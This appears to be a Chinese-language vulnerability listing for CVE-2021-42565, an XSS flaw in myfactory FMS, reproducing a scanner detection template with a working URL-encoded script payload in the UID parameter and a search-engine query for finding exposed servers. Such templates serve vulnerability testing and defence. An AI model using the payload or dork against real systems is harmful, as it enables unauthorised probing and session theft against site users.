CVE-2021-42565: myfactory FMS - Cross-Site Scripting

日期: 2025-08-01 | 影响软件: myfactory FMS | POC: 已公开

漏洞描述

myfactory.FMS before 7.1-912 allows cross-site scripting via the UID parameter.

PoC代码[已公开]

id: CVE-2021-42565

info:
  name: myfactory FMS - Cross-Site Scripting
  author: madrobot,daffainfo
  severity: medium
  description: |
    myfactory.FMS before 7.1-912 allows cross-site scripting via the UID parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of a user's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.redteam-pentesting.de/advisories/rt-sa-2021-001
    - https://github.com/ARPSyndicate/cvemon
    - https://nvd.nist.gov/vuln/detail/CVE-2021-42565
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-42565
    cwe-id: CWE-79
    epss-score: 0.00867
    epss-percentile: 0.74385
    cpe: cpe:2.3:a:myfactory:fms:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: myfactory
    product: fms
    google-query: inurl:ie50/system/ intitle:"myfactory"
  tags: cve2021,cve,myfactory,xss

http:
  - method: GET
    path:
      - '{{BaseURL}}/ie50/system/login/SysLoginUser.aspx?Login=Denied&UID=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"
          - 'name="txtUID"'
          - 'function mOnLoad()'
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100c6b83ce231337195dec13f36377b5ff9a9f1e1662b918883606286d57c3a98cb022100b9f3fc440e84ee85dd14fb4fcce589309927432f950a02abddf5fb410f75c079:922c64590222798bb761d5b6d8e72950

相关漏洞推荐